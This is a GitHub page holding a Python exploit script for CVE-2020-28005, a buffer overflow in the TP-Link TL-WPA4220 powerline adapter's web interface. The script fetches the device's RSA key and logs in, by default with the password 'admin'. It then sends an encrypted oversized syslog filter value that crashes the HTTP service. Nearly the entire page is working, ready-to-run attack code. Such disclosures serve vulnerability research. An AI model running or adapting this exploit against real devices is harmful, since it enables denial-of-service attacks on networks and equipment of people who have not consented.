Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
exploits/cve-2020-28005/tplink-wpa4220-dos-exploit.py
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
133 lines (112 sloc)
4.86 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/env python3 | |
# Exploit Title: TP-Link WPA4220 DoS Exploit (Buffer Overflow) | |
# Date: 2020-11-17 | |
# Exploit Author: Oriol Castejon @foolisses | |
# Vendor Homepage: https://www.tp-link.com | |
# Software Link: https://www.tp-link.com/en/support/download/tl-wpa4220/v4/#Firmware | |
# Version: TL-WPA4220(EU)_V4_190326 | |
# CVE : CVE-2020-28005 | |
import argparse | |
import base64 | |
import hashlib | |
import json | |
import requests | |
from Crypto.Cipher import AES | |
# These parameters are set by the browser, so we can decide their value | |
key = b'1595026205026583' | |
iv = b'1595026205026193' | |
def rsa_encrypt(plaintext): | |
encrypted = '' | |
for i in range(len(plaintext) // 64 + 1): | |
block = plaintext[i * 64:(i + 1) * 64] | |
encoded = [format(ord(c), 'x') for c in block] + ['00'] * (64 - len(block)) | |
encoded = int("".join(encoded), 16) | |
encrypted_block = pow(encoded, e, n) | |
encrypted += format(encrypted_block, 'x') | |
if len(encrypted) % 2 == 1: | |
encrypted = '0' + encrypted | |
return encrypted | |
def aes_encrypt(plaintext): | |
padded = pad(plaintext) | |
cipher = AES.new(key, AES.MODE_CBC, iv) | |
encrypted = cipher.encrypt(padded.encode()) | |
return base64.b64encode(encrypted).decode('utf-8') | |
def aes_decrypt(encrypted): | |
cipher = AES.new(key, AES.MODE_CBC, iv) | |
plaintext = cipher.decrypt(base64.b64decode(encrypted)) | |
return plaintext[:-ord(plaintext[len(plaintext) - 1:])].decode('utf-8') | |
def pad(plaintext): | |
pad = AES.block_size - len(plaintext) % AES.block_size | |
return plaintext + pad * chr(pad) | |
def get_rsa_pubkey_seq(target): | |
r = requests.post("http://{}/login?form=auth".format(target), data={"operation": "read"}) | |
r = r.json() | |
if not r.get("success"): | |
print("[!] Something went wrong, couldn't retrieve RSA public key") | |
return False, False, False | |
n = int(r["data"]["key"][0], 16) | |
e = int(r["data"]["key"][1], 16) | |
seq = int(r["data"]["seq"]) | |
return n, e, seq | |
def send_encrypted_request(target, path, plaintext_data, password, is_login=False): | |
url = "http://{}{}".format(target, path) | |
encrypted_data = aes_encrypt(plaintext_data) | |
m = hashlib.md5() | |
m.update(password.encode('utf-8')) | |
password_hash = m.hexdigest() | |
if is_login: | |
sign = rsa_encrypt("k={}&i={}&h={}&s={}".format(key.decode('utf-8'), iv.decode('utf-8'), password_hash, | |
seq + len(encrypted_data))) | |
else: | |
sign = rsa_encrypt("h={}&s={}".format(password_hash, seq + len(encrypted_data))) | |
data = { | |
"sign": sign, | |
"data": encrypted_data | |
} | |
headers = { | |
"Host": target, | |
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", | |
"Accept": "application/json, text/javascript, */*; q=0.01", | |
"Accept-Encoding": "gzip, deflate", | |
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", | |
"X-Requested-With": "XMLHttpRequest", | |
"Origin": "http://{}".format(target), | |
"Connection": "close", | |
"Referer": "http://{}/".format(target), | |
"Cookie": "Authorization=" | |
} | |
r = requests.post(url, data=data, headers=headers) | |
try: | |
encrypted_data = r.json().get("data") | |
response = aes_decrypt(encrypted_data) | |
if is_login and not json.loads(response).get("success"): | |
return False | |
except Exception as ex: | |
print("There was some error, could not decrypt response. Error: {}".format(ex)) | |
return False | |
return True | |
def login(target, password): | |
print("[+] Logging in with password: {}".format(password)) | |
if send_encrypted_request(target, "/login?form=login", "operation=login&password={}".format(rsa_encrypt(password)), | |
password, True): | |
print("[+] Login executed successfully") | |
else: | |
print("[!] Login failed!") | |
return False | |
return True | |
def exploit(target, password): | |
print("[+] Sending exploit. This will take a some seconds, please be patient!") | |
send_encrypted_request(target, "/admin/syslog?form=filter", "operation=write&type={}".format("A" * 64), password) | |
print("[+] Exploit has been sent. HTTP service should have crashed.") | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser(description='DoS exploit for the TL-WPA4220 (Buffer Overflow)') | |
parser.add_argument('target', type=str, metavar='target', help='IP of the TL-WPA4220 device') | |
parser.add_argument('-p', '--password', type=str, metavar='password', | |
help='Password of the TL-WPA4220 Web interface (default: admin)', default='admin') | |
args = parser.parse_args() | |
print("[+] Getting RSA public key of the device") | |
n, e, seq = get_rsa_pubkey_seq(args.target) | |
if n and e and seq: | |
print("[+] RSA public key correctly obtained") | |
if login(args.target, args.password): | |
exploit(args.target, args.password) |